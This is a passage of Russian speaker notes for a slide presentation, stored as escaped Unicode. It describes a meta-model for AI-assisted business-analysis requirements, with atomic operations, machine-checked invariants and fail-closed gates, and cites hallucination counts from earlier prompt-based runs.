\u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430. \u041c\u044b \u0434\u0435\u043b\u0430\u0435\u043c\\n  \u0435\u0433\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u041d\u0430\u0447\u043d\u0443 \u0441 \u0442\u043e\u0433\u043e, \u043f\u043e\u0447\u0435\u043c\u0443 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0441\u0442\u044c \u0437\u0434\u0435\u0441\u044c \u2014 \u043d\u0435 \u0430\u043a\u0430\u0434\u0435\u043c\u0438\u0447\u0435\u0441\u043a\u0438\u0439\\n\u0432\u043e\u043f\u0440\u043e\u0441\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 2. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u044d\u0442\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 1,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0446\u0435\u043d\u0443 \u043e\u0448\u0438\u0431\u043a\u0438, \u0447\u0442\u043e\u0431\u044b \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0430\u044f\\n\u0441\u0442\u0440\u043e\u0433\u043e\u0441\u0442\u044c \u043d\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0430 \u0438\u0437\u0431\u044b\u0442\u043e\u0447\u043d\u043e\u0439.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041c\u044b \u0433\u043e\u0432\u043e\u0440\u0438\u043c \u043e \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432. \u0422\u0430\u043c \u0422\u0417 \u2014 \u043d\u0435 \u0440\u0430\u0431\u043e\u0447\u0430\u044f \u0437\u0430\u043c\u0435\u0442\u043a\u0430, \u0430\\n  \u043e\u0441\u043d\u043e\u0432\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438 \u0447\u0430\u0441\u0442\u044c \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430.\\n- \u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u0448\u0438\u0440\u043e\u043a\u0438\u0439: \u0432 \u043d\u0430\u0448\u0435\u0439\\n  [\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/product-taxonomy/mango-products.yaml)\\n  42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0432 8 \u0434\u043e\u043c\u0435\u043d\u0430\u0445. \u0423 \u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0432\u043e\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u0441\u0432\u043e\u0438\\n  \u043b\u043e\u0432\u0443\u0448\u043a\u0438: \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u0438 \u0433\u0440\u0443\u043f\u043f\u0430, SLA \u0438 AHT, IVR \u0438 \u0430\u0432\u0442\u043e\u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0442\u043e\u0440.\\n- \u041e\u0434\u043d\u043e \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0442\u0440\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438. \u041d\u0430 \u043a\u0430\u0436\u0434\u043e\u0439 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0447\u0430\u0441\u0442\u044c\\n  \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430, \u0438 \u043f\u043e\u0442\u043e\u043c \u044d\u0442\u043e \u0432\u0441\u043f\u043b\u044b\u0432\u0430\u0435\u0442 \u0441\u043f\u043e\u0440\u043e\u043c \u043e \u043f\u0440\u0438\u0451\u043c\u043a\u0435.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0432\u0430\u0436\u043d\u043e \u0434\u043b\u044f AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438:** \u043a\u043e\u0433\u0434\u0430 \u043e\u0448\u0438\u0431\u043a\u0430 \u0441\u0442\u043e\u0438\u0442 \u0434\u043e\u0440\u043e\u0433\u043e,\\n\u00ab\u0432 \u0441\u0440\u0435\u0434\u043d\u0435\u043c \u0445\u043e\u0440\u043e\u0448\u0438\u0439\u00bb \u0442\u0435\u043a\u0441\u0442 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u0433\u043e\u0434\u0438\u0442\u0441\u044f. \u041d\u0443\u0436\u043d\u0430 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u044f \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435\\n\u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u0447\u0442\u043e \u043d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u043b\u043e, \u043a\u043e\u0433\u0434\u0430 \u043c\u044b \u043e\u0442\u0434\u0430\u0432\u0430\u043b\u0438\\n\u044d\u0442\u0443 \u0440\u0430\u0431\u043e\u0442\u0443 \u0418\u0418\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 3. \u0421\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0443\u0447\u043d\u043e\u043c \u0448\u0430\u0433\u0435\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u0431\u043e\u043b\u044c \u0447\u0438\u0441\u043b\u0430\u043c\u0438 \u0438\u0437 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u0440\u043f\u0443\u0441\u0430,\\n\u0430 \u043d\u0435 \u0438\u0437 \u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u044b\u0445 \u043e\u0442\u0447\u0451\u0442\u043e\u0432.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041c\u044b \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043b\u0438\\n  [\u0432\u0441\u0435 67 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\u0416\u0430\u043a\u043a\u0430\u0440\u0443](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md).\\n  \u0410 \u0438\u0437 12 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0443\u0436\u043d\u044b \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u2014 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u0445\u043e\u0434,\\n  \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442, \u0433\u0435\u0439\u0442 \u2014 10\\n  [\u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md)\\n  \u0438\u0437 24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432.\\n- \u0412\u044b\u0432\u043e\u0434 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438: \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u2014 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0430 \u043a \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c, \u0433\u0440\u0430\u043d\u0438\u0446\u044b\\n  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438, \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u2014 \u043f\u0440\u043e\u043c\u043f\u0442-\u043f\u0440\u0430\u0432\u043a\u0430\u043c\u0438 \u043d\u0435\\n  \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u0442\u0430\u043a:** \u043f\u0440\u043e\u043c\u043f\u0442 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0444\u043e\u0440\u043c\u043e\u0439 \u0442\u0435\u043a\u0441\u0442\u0430. \u041e\u0442\u043a\u0430\u0437\u044b \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u044e\u0442 \u0440\u0430\u043d\u044c\u0448\u0435\\n\u0442\u0435\u043a\u0441\u0442\u0430: \u043d\u0430 \u0432\u044b\u0431\u043e\u0440\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n[ADR-014](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md)\\n\u0437\u0430\u043f\u0438\u0441\u0430\u043b \u043f\u0440\u0430\u0432\u0438\u043b\u043e: \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u043d\u043e\u0440\u043c\u0430. \u0421\u0442\u0430\u0440\u044b\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u043c\u044b \u043d\u0435\\n\u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c, \u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u043a\u0430\u043a \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0431\u0430\u0437\u0443.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0415\u0441\u043b\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430 \u2014 \u0437\u043d\u0430\u0447\u0438\u0442, \u043d\u0443\u0436\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u0442\u044c, \u0447\u0442\u043e\\n\u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430. \u042d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 5. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 \u0434\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0434\u0430\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443, \u043d\u0435 \u0443\u0442\u043e\u043f\u0438\u0432 \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u0445. \u0418\u0437 11\\n\u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0430 \u0441\u043b\u0430\u0439\u0434\u0435 \u2014 \u0447\u0435\u0442\u044b\u0440\u0435 \u0443\u0440\u043e\u0432\u043d\u044f \u0438 \u0447\u0435\u0442\u044b\u0440\u0435 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0420\u0430\u0431\u043e\u0442\u0430 \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0441\u0432\u0435\u0440\u0445\u0443 \u0432\u043d\u0438\u0437: **\u043f\u0440\u043e\u0434\u0443\u043a\u0442 \u2192 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u2192 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2192\\n  \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442**. \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u043d\u0430\u0432\u044b\u043a\u043e\u0432, \u043d\u0430\u0432\u044b\u043a \u2014 \u0438\u0437 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439.\\n- \u0421\u043b\u043e\u0432\u0430\u0440\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u044b: 33 \u043d\u0430\u0432\u044b\u043a\u0430, 31 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f. \u0415\u0441\u043b\u0438 \u043d\u0443\u0436\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0442, \u044d\u0442\u043e\\n  \u043e\u0442\u043a\u0430\u0437 \u0438 \u0437\u0430\u0434\u0430\u0447\u0430 \u043d\u0430 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f, \u0430 \u043d\u0435 \u0438\u043c\u043f\u0440\u043e\u0432\u0438\u0437\u0430\u0446\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438.\\n- \u0417\u0430\u043a\u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0441\u043b\u0435\u0432\u0430 \u043d\u0430\u043f\u0440\u0430\u0432\u043e: \u0438\u0437 \u0432\u0445\u043e\u0434\u0430, \u0434\u043b\u044f \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e\\n  \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043e\u0434\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0435\u0439, \u043e\u0434\u043d\u0438\u043c \u0430\u043a\u0442\u043e\u0440\u043e\u043c \u2014 \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0438\\n  \u0433\u0435\u0439\u0442 \u2014 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u0432\u044b\u0445\u043e\u0434 \u0441\u043e \u0441\u043b\u0435\u0434\u043e\u043c \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f.\\n- \u0427\u0435\u0442\u044b\u0440\u0435\\n  [\u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md)\\n  \u2014 \u043e\u0442\u0432\u0435\u0442\u044b \u043d\u0430 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0434\u0435\u0444\u0435\u043a\u0442\u044b. \u041d\u0435\u0442 \u0448\u0430\u0433\u0430 \u0431\u0435\u0437 \u0432\u0445\u043e\u0434\u0430 \u2014 \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e 50 \u0438\u0437 67\\n  \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0432\u0445\u043e\u0434\u0430 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u043b\u0438. \u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u0448\u0430\u0433\u0430 \u2014 \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\\n  \u043b\u0435\u043a\u0441\u0438\u043a\u0430 \u0437\u0430\u0434\u0430\u0447\u0438 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0431\u043e\u043b\u044c\u0448\u0435 \u0447\u0435\u043c \u043d\u0430 \u043e\u0434\u0438\u043d \u0434\u043e\u043c\u0435\u043d \u0432 66 \u0438\u0437 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432.\\n\\n**\u041a\u0430\u043a:** \u043a\u0430\u0436\u0434\u044b\u0439 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0430\u0448\u0438\u043d\u043e\u0439. \u0414\u0432\u0430 \u2014 \u043f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0448\u0430\u0433\u0430, \u0434\u0432\u0430 \u2014\\n\u043f\u043e\u0441\u0442\u0443\u0441\u043b\u043e\u0432\u0438\u044f.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0421\u0430\u043c\u043e\u0435 \u0432\u0430\u0436\u043d\u043e\u0435 \u043d\u0430 \u044d\u0442\u043e\u0439 \u0441\u0445\u0435\u043c\u0435 \u2014 \u043d\u0438\u0436\u043d\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c, \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f. \u0418\u043c\u0435\u043d\u043d\u043e\\n\u0442\u0430\u043c \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u0451\u043b \u043f\u0440\u043e\u0440\u044b\u0432\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 6. \u041c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0441\u043b\u044c \u2014 \u043c\u044b \u0441\u0442\u0430\u0432\u0438\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043d\u0430 \u0432\u044b\u0445\u043e\u0434 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 3 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0433\u043b\u0430\u0432\u043d\u044b\u0439 \u0441\u043b\u0430\u0439\u0434. \u041f\u043e\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043c\u044b \u0434\u0435\u043b\u0430\u0435\u043c\\n\u0438\u043d\u0430\u0447\u0435 \u0438 \u043f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0442\u0430\u043c, \u0433\u0434\u0435 \u043f\u0440\u043e\u043c\u043f\u0442 \u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430: \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0430\u044f \u0440\u0430\u0431\u043e\u0442\u0430 \u0411\u0410 \u043f\u043b\u043e\u0445\u043e \u043f\u043e\u0434\u0434\u0430\u0451\u0442\u0441\u044f \u043f\u0440\u044f\u043c\u043e\u0439 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438. \u041b\u0443\u0447\u0448\u0435\u0435\\n  \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u2014\\n  [RUN-0018](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/40-practice-and-cases.md).\\n  \u0421\u0442\u0440\u043e\u0433\u0438\u0439 \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442, \u0432\u043e\u0441\u0435\u043c\u044c \u0448\u0430\u0433\u043e\u0432, \u0432 \u043a\u0430\u0436\u0434\u043e\u043c \u0441\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430. \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u2014\\n  8 \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0430\u0446\u0438\u0439, \u043e\u0434\u043d\u0430 \u0434\u043e\u0448\u043b\u0430 \u0434\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430. \u0412\u044b\u0432\u043e\u0434 \u0441\u0430\u043c\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430: \u00ab\u041c\u0435\u0445\u0430\u043d\u0438\u043a\u0430\\n  \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0430, \u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u043d\u043e\u0441\u0442\u044c \u0444\u0430\u043a\u0442\u043e\u0432 \u043d\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0430\u00bb.\\n- \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043c\u044b \u0440\u0430\u0437\u043b\u043e\u0436\u0438\u043b\u0438 \u0440\u0430\u0431\u043e\u0442\u0443 \u043d\u0430\\n  [31 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/operation-taxonomy/10-theory.md)\\n  \u0432 \u043f\u044f\u0442\u0438 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u0430\u0445. \u041a\u043b\u0430\u0441\u0441 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u0442\u0435\u043c, \u043e\u0442\u043a\u0443\u0434\u0430 \u0431\u0435\u0440\u0451\u0442\u0441\u044f\\n  \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u0432\u044b\u0445\u043e\u0434\u0430.\\n- \u041a\u043b\u0430\u0441\u0441 \u0437\u0430\u0434\u0430\u0451\u0442 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f. \u0418\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0441\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c.\\n  \u041f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u0441\u043e \u0441\u0445\u0435\u043c\u043e\u0439. \u041f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u0435, \u0433\u0434\u0435 \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u043e\u0432\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435,\\n  \u0438\u0434\u0451\u0442 \u0447\u0435\u0440\u0435\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430. \u0412\u044b\u0431\u043e\u0440 \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d.\\n- \u041f\u043e\u0432\u0435\u0440\u0445 \u2014 fail-closed. \u041d\u0435\u0442 \u0432\u0445\u043e\u0434\u0430, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u0438\u043b\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u2014 \u0448\u0430\u0433\\n  \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0438 \u0437\u0430\u0434\u0430\u0451\u0442 \u0432\u043e\u043f\u0440\u043e\u0441. \u041f\u0443\u0441\u0442\u043e\u0439 \u0441\u043b\u043e\u0442 \u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u043b\u0443\u0447\u0448\u0435\\n  \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f.\\n- \u042d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435: RUN-0059 \u0441 \u0442\u0430\u043a\u0438\u043c \u043f\u0440\u0430\u0432\u0438\u043b\u043e\u043c \u043d\u0435 \u043f\u0440\u0438\u0434\u0443\u043c\u0430\u043b\\n  \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 endpoint'\u044b Mango, \u0430 \u043e\u0441\u0442\u0430\u0432\u0438\u043b \u043f\u0440\u043e\u0431\u0435\u043b. RUN-0060 \u0434\u0430\u043b 101\\n  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044e \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u043f\u0440\u043e\u0440\u044b\u0432, \u0430 \u043d\u0435 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e:** \u043c\u044b \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u0438 \u0441\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0442\u044c \u0443\\n\u043c\u043e\u0434\u0435\u043b\u0438, \u0445\u043e\u0440\u043e\u0448 \u043b\u0438 \u0435\u0451 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442. \u0421\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u043b\u043e\u0432\u0438\u0442 \u043e\u0448\u0438\u0431\u043a\u0443,\\n\u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u044b\u0440\u043e\u0441\u043b\u0430 \u0438\u0437 \u0435\u0451 \u0436\u0435 \u043b\u043e\u0436\u043d\u043e\u0433\u043e \u0443\u0431\u0435\u0436\u0434\u0435\u043d\u0438\u044f. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043e\u0442\u0434\u0435\u043b\u0435\u043d\u0430 \u043e\u0442\\n\u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u0438 \u0432\u044b\u0431\u0440\u0430\u043d\u0430 \u043f\u043e \u0442\u0438\u043f\u0443 \u0440\u0430\u0431\u043e\u0442\u044b.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0418\u0437 